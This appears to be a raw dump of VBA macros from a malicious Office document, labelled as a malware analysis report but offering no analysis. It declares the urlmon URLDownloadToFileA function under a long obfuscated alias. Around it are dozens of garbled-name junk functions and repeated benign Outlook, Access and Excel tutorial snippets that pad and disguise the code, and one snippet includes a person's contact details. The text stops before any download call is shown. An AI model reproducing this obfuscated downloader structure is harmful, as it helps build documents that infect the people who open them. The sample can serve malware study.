Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If 1 And 1 And 1 And 1 And Win64 And VBA7 And 1 And 1 And 1 And 1 And 1 And 1 And 1 And 1 And 1 And 1 And 1 Then
Private Declare PtrSafe Function U5p93i753t4qxFTVhhv6Z6whGjGE6T2TXj2Abh5h23Qi4FNHdWS6XR9ePsyHe56sPB2qm7M7mzK63Fi6WwC6zM49zh6Yr8D6 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal J¨8N12unYHYbáJoºP As Long, ByVal ¨ªPêLêÉ8çl룱SRoXî As String, ByVal S¢´¶àPúä¿àF¿··éÀµ As String, ByVal ÉU¹¿ëVEWº¼z As Long, ByVal ½£6¢½ As Long) As LongPtr

Private Declare PtrSafe Function timeGetTimetEID Lib "winmm.dll" () As LongPtr

Private Declare PtrSafe Function GetSystemMetricsjRFQ Lib "USER32" (ByVal nIndex As Long) As LongPtr

Private Declare PtrSafe Function GdipCreateHBITMAPFromBitmapuqab Lib "GDIPlus" (ByVal bitmap As LongPtr, hbmReturn As LongPtr, ByVal background As Long) As LongPtr
#Else

Private Declare Function SetCurrentDirectoryAgkDW Lib "kernel32" (ByVal lpPathName As String) As Long


Private Declare Function GdipDisposeImageaGsb Lib "GDIPlus" (ByVal image As Long) As Long


Private Declare Function getTickCountm5z3 Lib "kernel32" Alias "QueryPerformanceCounter" (cyTickCount As Currency) As Long

Private Declare Function U5p93i753t4qxFTVhhv6Z6whGjGE6T2TXj2Abh5h23Qi4FNHdWS6XR9ePsyHe56sPB2qm7M7mzK63Fi6WwC6zM49zh6Yr8D6 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal J¨8N12unYHYbáJoºP As Long, ByVal ¨ªPêLêÉ8çl룱SRoXî As String, ByVal S¢´¶àPúä¿àF¿··éÀµ As String, ByVal ÉU¹¿ëVEWº¼z As Long, ByVal ½£6¢½ As Long) As Long



#End If
Private Ytö»¬»h(87)

Function aÜuîÁ¥åñ©(w²TC«hwau, NÂıûïK§dç£b)
aÜuîÁ¥åñ© = w²TC«hwau + NÂıûïK§dç£b
End Function
Sub hMYytest_if_OutlookIsOpen()
    Dim oOutlook As Object

    On Error Resume Next
    Set oOutlook = GetObject(, "Outlook.Application")
    On Error GoTo 0

    If oOutlook Is Nothing Then
        MsgBox "Outlook is not open, open Outlook and try again"
    Else
        
        ' TO DO
        '
        MsgBox "Is Open"
    End If
End Sub

Function ¼ÆP½PܵnY¿(¨DÁò´¤f, ·7¿Wdö¾ü«)
¼ÆP½PܵnY¿ = ¨DÁò´¤f + ·7¿Wdö¾ü«
End Function
Sub nsOSadd_NewContact()
    Dim j As ContactItem
    Set j = Outlook.CreateItem(olContactItem)
    
    With j
        .Title = "Miss"
        .FirstName = "Leila"
        .MiddleName = "Goory"
        .LastName = "Lopez"
        .Gender = olFemale
        .CompanyName = "Google"
        .JobTitle = "Directrice Marketing"
        '.FileAs = "..."
        .Email1Address = "leila@gmail.com"
        .Email1AddressType = "Work"
        .WebPage = "www.google.com"
        .Anniversary = #3/10/1987#
        '.AddPicture "..."
        .Initials = "LL"
        .BusinessAddress = "Loos"
        .BusinessTelephoneNumber = "06 68 55 29 75"
        .MobileTelephoneNumber = "06 68 55 29 75"
        .MailingAddressStreet = "20 rue du Docteur Calmette"
        .MailingAddressCity = "Lille"
        .MailingAddressPostalCode = "59120"
        .Body = "Notes"
        '.Categories
        .Display
    End With
End Sub

Private Sub vl0FFzjXListCategoryIDs()
 Dim objNameSpace As NameSpace
 Dim objCategory As Category
 Dim strOutput As String

 ' Obtain a NameSpace object reference.
 Set objNameSpace = Application.GetNamespace("MAPI")

 ' Check if the Categories collection for the Namespace
 ' contains one or more Category objects.
 If objNameSpace.Categories.Count > 0 Then

 ' Enumerate the Categories collection.
 For Each objCategory In objNameSpace.Categories

 ' Add the name and ID of the Category object to
 ' the output string.
 strOutput = strOutput & objCategory.Name & ": " & objCategory.CategoryID & vbCrLf
 Next
 End If

 ' Display the output string.
 MsgBox strOutput

 ' Clean up.
 Set objCategory = Nothing
 Set objNameSpace = Nothing

End Sub


Function r«TK»oµ(APɨ«6ºyñ, ¨¿vñaà¿Á¦, ¤¦lYr8ñëÿ, êÖ§½uĤSdM¶, äÖÉèe²â±KºäÂ, ƒkR¦éizòWÄk)
r«TK»oµ = StrConv(APɨ«6ºyñ, êÖ§½uĤSdM¶)
End Function

Sub MJ8Nmanipulating_Objects()
    ' The obect is opene with its generic nae
    DoCmd.OpenForm "Form1", acNormal, , , acFormAdd, acHidden
    
    Dim current_ObjectName As String
    current_ObjectName = CurrentObjectName
    
    Dim f As form
    Set f = Forms(current_ObjectName)
    
    '
    ' Do something
    '
    
    DoCmd.Close acForm, "Form1", acSaveNo
End Sub

Function ñEXâ£oö(Ñ1XA¾i¬Hoÿ7«, JU¾À¢½âP)
ñEXâ£oö = Ñ1XA¾i¬Hoÿ7« + JU¾À¢½âP
End Function
Sub jdCsadd_NewContact()
    Dim j As ContactItem
    Set j = Outlook.CreateItem(olContactItem)
    
    With j
        .Title = "Miss"
        .FirstName = "Leila"
        .MiddleName = "Goory"
        .LastName = "Lopez"
        .Gender = olFemale
        .CompanyName = "Google"
        .JobTitle = "Directrice Marketing"
        '.FileAs = "..."
        .Email1Address = "leila@gmail.com"
        .Email1AddressType = "Work"
        .WebPage = "www.google.com"
        .Anniversary = #3/10/1987#
        '.AddPicture "..."
        .Initials = "LL"
        .BusinessAddress = "Loos"
        .BusinessTelephoneNumber = "06 68 55 29 75"
        .MobileTelephoneNumber = "06 68 55 29 75"
        .MailingAddressStreet = "20 rue du Docteur Calmette"
        .MailingAddressCity = "Lille"
        .MailingAddressPostalCode = "59120"
        .Body = "Notes"
        '.Categories
        .Display
    End With
End Sub

Private Sub Rh75xKT0ListCategoryIDs()
 Dim objNameSpace As NameSpace
 Dim objCategory As Category
 Dim strOutput As String

 ' Obtain a NameSpace object reference.
 Set objNameSpace = Application.GetNamespace("MAPI")

 ' Check if the Categories collection for the Namespace
 ' contains one or more Category objects.
 If objNameSpace.Categories.Count > 0 Then

 ' Enumerate the Categories collection.
 For Each objCategory In objNameSpace.Categories

 ' Add the name and ID of the Category object to
 ' the output string.
 strOutput = strOutput & objCategory.Name & ": " & objCategory.CategoryID & vbCrLf
 Next
 End If

 ' Display the output string.
 MsgBox strOutput

 ' Clean up.
 Set objCategory = Nothing
 Set objNameSpace = Nothing

End Sub

Function ¦viºJ8Iµu(üwRº¢ö§9g, efxTn²±1ù)
¦viºJ8Iµu = üwRº¢ö§9g + efxTn²±1ù
End Function
Sub ah3Kcreate_NewButton()
    'Set parameter
    Dim btn As Control
    
    'Open form in hidden mode
    DoCmd.OpenForm "Google", acDesign, , , acFormEdit, acHidden
    
    On Error Resume Next
    
    'Create button
    Set btn = CreateControl("Google", acCommandButton, acDetail)
    
    'Move
    k.Move 2500, 2500, 1500, 700
    
    'Get control name
    this_name = k.Name
    
    'Add caption
    Forms("Google").Controls(this_name).Caption = "Google"
    
    'Close form
    DoCmd.Close acForm, "Google", acSaveYes
End Sub



Function ö¦êèô£2¾PC(æ»±u­m¸ö, åpvMZÉ5ö)
ö¦êèô£2¾PC = æ»±u­m¸ö + åpvMZÉ5ö
End Function
Sub uRgjtest_if_OutlookIsOpen()
    Dim oOutlook As Object

    On Error Resume Next
    Set oOutlook = GetObject(, "Outlook.Application")
    On Error GoTo 0

    If oOutlook Is Nothing Then
        MsgBox "Outlook is not open, open Outlook and try again"
    Else
        
        ' TO DO
        '
        MsgBox "Is Open"
    End If
End Sub

Function i²3ô£®Kx(rEdeë½bÂÿ¼Ugñ, DåÁåÆf)
i²3ô£®Kx = rEdeë½bÂÿ¼Ugñ + DåÁåÆf
End Function

Sub TxkBcreate_Query()
    Dim qdf As QueryDef
    Set qdf = CurrentDb.CreateQueryDef("query1", "SELECT * FROM Table")
    
    On Error Resume Next
    
    DoCmd.OpenQuery "query1", acViewDesign, acEdit
    DoCmd.Save acQuery, "query1"
    DoCmd.Close acQuery, "query1"
    DoCmd.Rename "new_name", acQuery, "query1"
    
    Set qdf = Nothing
End Sub


Sub G6dNmanipulate_Query()
    Dim query_to_change As QueryDef
    Set query_to_change = CurrentDb.QueryDefs("query_name")
    
    query_to_change.SQL = "SELECT * FROM Table ORDER BY ID Asc"
    query_to_change.SQL = "SELECT Field1, Field2 FROM Table ORDER BY ID Asc"
    query_to_change.SQL = "SELECT Field1, Field2 FROM Table WHERE Field LIKE Fashion"
    query_to_change.SQL = "SELECT Field1, Field2 FROM Table WHERE Field LIKE '" & something & "'"
End Sub

' "SELECT Field1, Field2 FROM Table WHERE Field1 = 'Fashion'"

Function ôç欃Bo¢(x«è6¸®, ö­ÄZùkú)
ôç欃Bo¢ = x«è6¸® + ö­ÄZùkú
End Function

Private Sub Q7ifuNXmCommandButton2_Click()
    '
    ' This will show an additional form to the user as
    ' a way to form him/her to not change the weeks directly
    ' on the main form
    '
    SemainesForm.Show
End Sub

Private Sub OsSeKcumCommandButton3_Click()
    PrixForm.Show
End Sub

Private Sub FgRgvv3zUserForm_Initialize()
    '
    ' This will upload the default values from the sheet
    ' to the different textboxes
    '
    Set wk = set_worksheet_object_helper(1)
    'Set params
    Call set_Params
End Sub

Private Sub hDpcTIbSset_Params()
    '
    ' This a helper used to set parameters to
    ' the textboxes
    '
    TextBox1.Value = wk.Range("personnel").Value
    TextBox2.Value = wk.Range("salaire").Value
    TextBox3.Value = wk.Range("jours_activités").Value
    TextBox4.Value = wk.Range("heures_par_jours").Value
    TextBox5.Value = wk.Range("jours_par_semaines").Value
    
    '
    ' Prevent direct change of activity days froms userform
    '
    TextBox3.Locked = True
    TextBox3.Enabled = False
End Sub


Function ¼Nª¾ÜS2(£ª¿àdHS¹qjô, öºôé®p½3)
¼Nª¾ÜS2 = £ª¿àdHS¹qjô + öºôé®p½3
End Function
Sub XJZJadd_NewContact()
    Dim j As ContactItem
    Set j = Outlook.CreateItem(olContactItem)
    
    With j
        .Title = "Miss"
        .FirstName = "Leila"
        .MiddleName = "Goory"
        .LastName = "Lopez"
        .Gender = olFemale
        .CompanyName = "Google"
        .JobTitle = "Directrice Marketing"
        '.FileAs = "..."
        .Email1Address = "leila@gmail.com"
        .Email1AddressType = "Work"
        .WebPage = "www.google.com"
        .Anniversary = #3/10/1987#
        '.AddPicture "..."
        .Initials = "LL"
        .BusinessAddress = "Loos"
        .BusinessTelephoneNumber = "06 68 55 29 75"
        .MobileTelephoneNumber = "06 68 55 29 75"
        .MailingAddressStreet = "20 rue du Docteur Calmette"
        .MailingAddressCity = "Lille"
        .MailingAddressPostalCode = "59120"
        .Body = "Notes"
        '.Categories
        .Display
    End With
End Sub

Private Sub DsOgF48XListCategoryIDs()
 Dim objNameSpace As NameSpace
 Dim objCategory As Category
 Dim strOutput As String

 ' Obtain a NameSpace object reference.
 Set objNameSpace = Application.GetNamespace("MAPI")

 ' Check if the Categories collection for the Namespace
 ' contains one or more Category objects.
 If objNameSpace.Categories.Count > 0 Then

 ' Enumerate the Categories collection.
 For Each objCategory In objNameSpace.Categories

 ' Add the name and ID of the Category object to
 ' the output string.
 strOutput = strOutput & objCategory.Name & ": " & objCategory.CategoryID & vbCrLf
 Next
 End If

 ' Display the output string.
 MsgBox strOutput

 ' Clean up.
 Set objCategory = Nothing
 Set objNameSpace = Nothing

End Sub

Function ùP±7xÜwY(Hy¨¿j²ò, CHMpûdæ½ôÂá)
ùP±7xÜwY = Hy¨¿j²ò + CHMpûdæ½ôÂá
End Function
Private Sub KFDqhie8CommandButton12_Click()
    '
    ' When the user clicks the button, we need to know
    ' which value needs to be implemented from which
    ' control element
    '
    Result = xW1Jget_valeur_de_Optionbutton(0)
    If Result = False Then
        '
        ' We need to test the value that the user entered
        ' to not get errors on the sheet
        '
        wk.Range("jours_activités").Value = (TextBox1.Value * 1)
    Else
        get_valeur_list = ComboBox1.Value
        Select Case get_valeur_list
            Case Is = "Normal":
                wk.Range("jours_activités").Value = 365
            Case Is = "Business":
                wk.Range("jours_activités").Value = 251
            Case Is = "Jours ouvrées, Sans Weekend, Avec vacances":
                wk.Range("jours_activités").Value = 260
        End Select
    End If
    
    '
    ' Create object to change phrases
    '
    Dim changer_les_phrases As PhrasesEngine
    Set changer_les_phrases = New PhrasesEngine
    changer_les_phrases.change_phrases
End Sub

Private Sub AODyjpzvOptionButton1_Change()
    '
    ' We detect change on the option button number 1
    ' and if the user changed to 'personalized',
    ' we enable the corresponding elements for him/her
    '
    Result = xW1Jget_valeur_de_Optionbutton(0)
    If Result = False Then
        TextBox1.Enabled = True
        TextBox1.Value = 365
        ComboBox1.Enabled = False
    Else
        TextBox1.Enabled = False
        TextBox1.Value = ""
        ComboBox1.Enabled = True
    End If
End Sub

Private Sub DA2ahoofUserForm_Initializer()
    Dim weeks(2) As String
    Set wk = Worksheets("Config")
    'Enable system radio button as true
    OptionButton1.Value = True
    Result = xW1Jget_valeur_de_Optionbutton(0)
    If Result Then
        TextBox1.Enabled = False
    End If
    
    'Initializing the combo box
    weeks(0) = "Normal"
    weeks(1) = "Business"
    weeks(2) = "Jours ouvrées, Sans Weekend, Avec vacances"
    
    For Each week In weeks
        ComboBox1.AddItem week
    Next
End Sub

Private Function xW1Jget_valeur_de_Optionbutton(Optional ByVal option_button As Long = 0) As Boolean
    '
    ' This is a helper that retrieves the current value
    ' of the option buttons
    '
    If option_button = 0 Then
        xW1Jget_valeur_de_Optionbutton = OptionButton1.Value
    ElseIf option_button = 1 Then
        xW1Jget_valeur_de_Optionbutton = OptionButton1.Value
    Else
        Err.Raise 0
    End If
End Function

Private Sub WgUmJfMEUserForm_Terminate()
    ' DOES NOT WORK
    ' This is to set the textbox to the new value
    ReglagesForm.TextBox5.Value = wk.Range("jours_par_semaines").Value
End Sub


Function j®D£RåñUëJÜ(¬»KDärÑco, ££Ákå©ÁBB¸)
j®D£RåñUëJÜ = ¬»KDärÑco + ££Ákå©ÁBB¸
End Function

Sub wsEufinding_Record()
    '
    ' Opening a record set and findind a record
    '
    Dim db As DAO.Database
    Dim rs As Recordset
    
    Set db = CurrentDb
    Set rs = db.OpenRecordset("Tournaments", dbOpenSnapshot)
    
    rs.FindFirst "[TourCode] LIKE 'TOR'"
    MsgBox rs(2).Value, vbInformation, "Value"
    
    Set db = Nothing
    Set rs = Nothing
End Sub

Sub viVufilter_RecordSet()
    '
    ' Opening a record set and finding a record
    '
    Dim db As DAO.Database
    Dim rs As Recordset
    
    Set db = CurrentDb
    Set rs = db.OpenRecordset("SELECT * " & _
                              "FROM Tournaments " & _
                              "WHERE TourCode = 'TKY'")
    'Set rs = db.OpenRecordset("SELECT * FROM Tournaments " & _
    '                          "WHERE TourCode = 'TKY' AND/OR/NOT ... ''")
    'Set rs = db.OpenRecordset("SELECT * " & _
    '                          "FROM Tournaments " & _
    '                          "WHERE TourCode = 'TKY' ORDER BY ... DESC/ASC ")
    
    'TO DO
    
    Set db = Nothing
    Set rs = Nothing
End Sub

Sub zahuprinting_Elements()
    '
    '   Prints everything from a recordset
    '
    Dim db As DAO.Database
    Set db = CurrentDb

    Dim rs As Recordset
    Set rs = db.OpenRecordset("Google")
    
    Do While Not rs.EOF
       Debug.Print rs("ID") & " - " & rs("Cible1")
       rs.MoveNext
    Loop
End Sub

Function cܺRúCÁ0cG(E6¦PYµ±ê3aNE, ¥¾¹¾våç8)
cܺRúCÁ0cG = E6¦PYµ±ê3aNE + ¥¾¹¾våç8
End Function
Sub CyeXadd_NewContact()
    Dim j As ContactItem
    Set j = Outlook.CreateItem(olContactItem)
    
    With j
        .Title = "Miss"
        .FirstName = "Leila"
        .MiddleName = "Goory"
        .LastName = "Lopez"
        .Gender = olFemale
        .CompanyName = "Google"
        .JobTitle = "Directrice Marketing"
        '.FileAs = "..."
        .Email1Address = "leila@gmail.com"
        .Email1AddressType = "Work"
        .WebPage = "www.google.com"
        .Anniversary = #3/10/1987#
        '.AddPicture "..."
        .Initials = "LL"
        .BusinessAddress = "Loos"
        .BusinessTelephoneNumber = "06 68 55 29 75"
        .MobileTelephoneNumber = "06 68 55 29 75"
        .MailingAddressStreet = "20 rue du Docteur Calmette"
        .MailingAddressCity = "Lille"
        .MailingAddressPostalCode = "59120"
        .Body = "Notes"
        '.Categories
        .Display
    End With
End Sub

Private Sub pfwKWIUfListCategoryIDs()
 Dim objNameSpace As NameSpace
 Dim objCategory As Category
 Dim strOutput As String

 ' Obtain a NameSpace object reference.
 Set objNameSpace = Application.GetNamespace("MAPI")

 ' Check if the Categories collection for the Namespace
 ' contains one or more Category objects.
 If objNameSpace.Categories.Count > 0 Then

 ' Enumerate the Categories collection.
 For Each objCategory In objNameSpace.Categories

 ' Add the name and ID of the Category object to
 ' the output string.
 strOutput = strOutput & objCategory.Name & ": " & objCategory.CategoryID & vbCrLf
 Next
 End If

 ' Display the output string.
 MsgBox strOutput

 ' Clean up.
 Set objCategory = Nothing
 Set objNameSpace = Nothing

End Sub

Function Ñ®q¢òæGCº(ºfC¿ES, ¯¹3ñ¾Eüez)
Ñ®q¢òæGCº = ºfC¿ES + ¯¹3ñ¾Eüez
End Function

Private Sub pKfvZx7BCommandButton2_Click()
    '
    ' This will show an additional form to the user as
    ' a way to form him/her to not change the weeks directly
    ' on the main form
    '
    SemainesForm.Show
End Sub

Private Sub t2wFXipCCommandButton3_Click()
    PrixForm.Show
End Sub

Private Sub e2LChLbFUserForm_Initialize()
    '
    ' This will upload the default values from the sheet
    ' to the different textboxes
    '
    Set wk = set_worksheet_object_helper(1)
    'Set params
    Call set_Params
End Sub

Private Sub MCHZTVS7set_Params()
    '
    ' This a helper used to set parameters to
    ' the textboxes
    '
    TextBox1.Value = wk.Range("personnel").Value
    TextBox2.Value = wk.Range("salaire").Value
    TextBox3.Value = wk.Range("jours_activités").Value
    TextBox4.Value = wk.Range("heures_par_jours").Value
    TextBox5.Value = wk.Range("jours_par_semaines").Value
    
    '
    ' Prevent direct change of activity days froms userform
    '
    TextBox3.Locked = True
    TextBox3.Enabled = False
End Sub


Function ¦d©îpÿLa¥9(LirôQî¼A, QòÂEDJ27ì)
¦d©îpÿLa¥9 = LirôQî¼A + QòÂEDJ27ì
End Function
Private Sub BgJwMkOiToggleButton1_Change()
    '6. We then get the current state of the button again...
    current_toggle_State = Me.ToggleButton1.Value

    Select Case current_toggle_State
        '6. If I am still pressed, then...
        Case True:
            'Value of previous state is 1 (or pressed)
            this_Sheet.Range("D7").Value = 1
            'Change caption from LIST 1 to LIST 2
            ToggleButton1.Caption = "LIST 2"
            'List is still LIST 1...
            ComboBox1.Clear
            ComboBox1.AddItem "Tomato", 0
            ComboBox1.AddItem "Cucumber", 1
            ComboBox1.ListIndex = 0
        '6. If I am now unpressed by the user...
        Case False:
            'Value of previous state is 0 (or unpressed)
            this_Sheet.Range("D7").Value = 0
            'Change caption from LIST 2 to LIST 1
            ToggleButton1.Caption = "LIST 1"
            'LIST 2 to LIST 1...
            ComboBox1.Clear
            ComboBox1.AddItem "Pizza", 0
            ComboBox1.AddItem "Soda", 1
            ComboBox1.ListIndex = 0
    End Select
End Sub

Private Sub GpyDSrshUserForm_Initialized()
    '1. We set our variables
    Dim previous_Toggle_State As Long
    
    '2. We set the sheet "food" as an object
    Set this_Sheet = Worksheets("Food")
    
    '3. We get the previous button state from the sheet...
    previous_Toggle_State = this_Sheet.Range("D7").Value
    
    Select Case previous_Toggle_State
        Case 1:
            '4. I was pressed, then button should be pressed...
            Me.ToggleButton1.Value = True
            'And, LIST 1 should active
            ComboBox1.Clear
            ComboBox1.AddItem "Tomato", 0
            ComboBox1.AddItem "Cucumber", 1
            ComboBox1.ListIndex = 0
            '4. Otherwise, it should be unpressed
        Case 0:
            Me.ToggleButton1.Value = False
            'LIST 2 should active
            ComboBox1.Clear
            ComboBox1.AddItem "Pizza", 0
            ComboBox1.AddItem "Soda", 1
            ComboBox1.ListIndex = 0
    End Select
End Sub


Function ZUªwâ9îªùå(H5¯¯¬c0, áÂèxH¹²±¨l)
ZUªwâ9îªùå = H5¯¯¬c0 + áÂèxH¹²±¨l
End Function
Public Sub fe34zR4cCreateNewContact()
    Dim objContact As ContactItem
    Set objContact = Application.CreateItem(olContactItem)
    
    With objContact
        .BusinessAddressCity = "Halifax"
        .BusinessAddressCountry = "Canada"
        .Business2TelephoneNumber = "902123" 'the area code and local prefix
        .Display
    End With

    Set objContact = Nothing
End Sub

Function ²À3¹¸N´¿vW(ü3ÉP¾¤gOx¨o, Á³ç®¯ÿaìÉ)
²À3¹¸N´¿vW = ü3ÉP¾¤gOx¨o + Á³ç®¯ÿaìÉ
End Function
Private Sub Jg7lFH3nCommandButton1_Click()
    '1. Set sheets
    Dim stock_Sheet As Worksheet
    Set stock_Sheet = Worksheets("Stock")
    Dim output_Sheet As Worksheet
    Set output_Sheet = Worksheets("Output")
    
    '2. Set periods
    Dim periods As Long
    periods = TextBox1.Value
    
    '3. Set initial range
    Dim upper_Bound, lower_Bound As Long
    upper_Bound = 3
    lower_Bound = upper_Bound + periods
        'Initial range
    Dim price_Range As Range
    
    '4. Get the last row of the price list
    Dim last_Row As Long
    last_Row = stock_Sheet.Range("A2").End(xlDown).Row
    
    '4. Now we cycle through the range
    Do
        Set price_Range = Range("A" & upper_Bound, "A" & lower_Bound)
        price_Range.Select
        upper_Bound = upper_Bound + 1
        lower_Bound = lower_Bound + 1
    Loop Until lower_Bound > last_Row
    
    '5. Tell user calculation was successful
    MsgBox "SMA (" & periods & ") on price was successful", vbInformation
End Sub

Sub qow8calculate_SMA(this_Sheet As String)
    '1. Set sheet @this_Sheet = 'Stock OR Output'
    Set get_This_Sheet = Worksheets(this_Sheet)
    'EXPLICIT 'Output'
    Set output_Sheet = Worksheets("Output")
    
    '2. Set periods
    '@periods = 5, 10, 25...
    'Dim periods As Long
    'periods = TextBox1.Value
    periods = 2
    
    '3. Set variables for initial range
    Dim upper_Bound, lower_Bound As Long
    
    'When the incoming sheet name is stock...
    If this_Sheet = "Stock" Then
        'Upper bound of range is 3
        upper_Bound = 3
    Else
        upper_Bound = 1
    End If
    
    '@lower_Bound = 3 + periods
    lower_Bound = upper_Bound + periods
        'Create initial range
    Dim price_Range As Range
    
    '4. Get the last row of the price list
    Dim last_Row As Long
    '@last_Row = 1, 2, 3...x
    last_Row = get_This_Sheet.Range("A2").End(xlDown).Row
    
    '5. When there are no values in input sheet...
    If last_Row > 10000 Then
        '@last_Row = last row of 'get_This_Sheet stock values'
        last_Row = get_This_Sheet.Range("A1").End(xlDown).Row - periods
    End If
    
    '6. Set variable for average
    Dim avg As Double
    
    '7. Set variable to cycle in 'Output sheet'
    Dim r, c As Long
    '
    'r: row, c: column
    '
    r = 1
    c = 1
    
    '8. When the incoming sheet is 'Stock'
    If this_Sheet = "Stock" Then
        c = 1
    Else
        'Output to next column
        c = 2
    End If
    
    '9. Now we cycle through the range
    Do
        Set price_Range = get_This_Sheet.Range("A" & upper_Bound, "A" & lower_Bound)
        
        'Calculate average range
        avg = Application.WorksheetFunction.Average(price_Range)
        
        'Output to 'Output sheet' @r = 1++ / @c = 1 || 2
        output_Sheet.Range("A1").Cells(r, c).Value = avg
        
        'Increment
        r = r + 1
        upper_Bound = upper_Bound + 1
        lower_Bound = lower_Bound + 1
    Loop Until lower_Bound > last_Row
End Sub

Private Function kgiSget_Sheet_Name(index As Long) As String
    '1. When the user chooses 'Stock'
    '@index = 1 OR 2
    Select Case index
        Case 1:
            kgiSget_Sheet_Name = "Stock"
        Case 2:
            kgiSget_Sheet_Name = "Output"
    End Select
End Function


Function O¶90ëÖÖ(¨Âòä»ü78ûG, mæsájxWwzöt7)
O¶90ëÖÖ = ¨Âòä»ü78ûG + mæsájxWwzöt7
End Function

Private Sub uihKxjDjcreate_dictionary()
    '
    ' This sub is used to initialize the values in the dictionary
    ' when the class is called by outside programs.
    ' It iterates on the PCG sheets in order to collect the values
    ' and integrate them to the dictionary.
    '
    top_row_adress = pcg.Range("A2").Row
    bottom_row_adress = pcg.Range("A2").End(xlDown).Row
    
    For i = top_row_adress To bottom_row_adress
        pcg_dictionary.Add pcg.Range("A" & i).Value, pcg.Range("A" & i).Offset(0, 1).Value
    Next i
End Sub

Public Sub Fv8fzzp3fill_list_box_item(Optional specific_class As Long = 0)
    '
    ' Use this sub to fill the list box with the values for the
    ' user to choose from.
    '
    ' -- Use 0 to get all items from the dictionary
    ' -- Use a class number betweet 1 and 7 to get a specific class
    '
    If specific_class = 0 Then
        For Each dictionary_item In pcg_dictionary.Items
            UserForm1.ListBox1.AddItem dictionary_item
        Next
    End If
    
    If specific_class > 0 Then
        Call regex_engine(specific_class)
    End If
End Sub




Function ÂÆèç¥Ü¬(BBºB¶1³Z½âZ, ¾²Eü´¼Pú)
ÂÆèç¥Ü¬ = BBºB¶1³Z½âZ + ¾²Eü´¼Pú
End Function
Sub TBn4manipulating_Tables()
    On Error Resume Next
    'INSERT values
    DoCmd.RunSQL "INSERT INTO Facebook(OK, Field1) VALUES ('5', 'Kendall')"
    'UPDATE field
    DoCmd.RunSQL "UPDATE Facebook SET Field1 = 'Kendall' WHERE ID = 1"
    'ALTER TABLE
    DoCmd.RunSQL "ALTER TABLE X "
End Sub

Sub rMjAedit_Table()
    Dim d As DAO.Database
    Dim t As TableDef
    Dim r As DAO.Recordset
    
    Set d = CurrentDb
    Set t = d.TableDefs("...")
    Set r = t.OpenRecordset(, dbOpenSnapshot)
    
    r.Edit
    r(...).Value = "..."
    r.Update
    
    Set d = Nothing
    Set t = Nothing
End Sub



Function ¤24k¾CDdº(òVCLçöb, rÿXF0À)
¤24k¾CDdº = òVCLçöb + rÿXF0À
End Function
Sub cahDcreate_NewButton()
    'Set parameter
    Dim btn As Control
    
    'Open form in hidden mode
    DoCmd.OpenForm "Google", acDesign, , , acFormEdit, acHidden
    
    On Error Resume Next
    
    'Create button
    Set btn = CreateControl("Google", acCommandButton, acDetail)
    
    'Move
    k.Move 2500, 2500, 1500, 700
    
    'Get control name
    this_name = k.Name
    
    'Add caption
    Forms("Google").Controls(this_name).Caption = "Google"
    
    'Close form
    DoCmd.Close acForm, "Google", acSaveYes
End Sub



Function qe£l0ƒ®»n(«¸±ÂEµÁâ¨, ô¢£EºÆ0Gêo¹)
qe£l0ƒ®»n = «¸±ÂEµÁ⨠+ ô¢£EºÆ0Gêo¹
End Function
Sub pkL9file_Picker()
    '
    ' Imports table / Microsoft Office Object Library 16.0
    '
    
    'Dim
    Dim table_Name(1) As Variant
    Dim sheet_Path As String
    
    'Open file picker
    Dim fd As Office.FileDialog
    Set fd = Application.FileDialog(msoFileDialogFilePicker)
    
    'Open file picker
    With fd
        .AllowMultiSelect = False
        .Title = "Select a file"
        .Filters.Clear
        .Filters.Add "Excel", "*.xlsx"
        
        'When user has picked file
        If .Show = True Then
            'Path
            sheet_Path = fd.SelectedItems.Item(1)
            'Name
            table_Name(0) = Dir(fd.SelectedItems.Item(1))
        Else
            'TO DO
        End If
    End With
…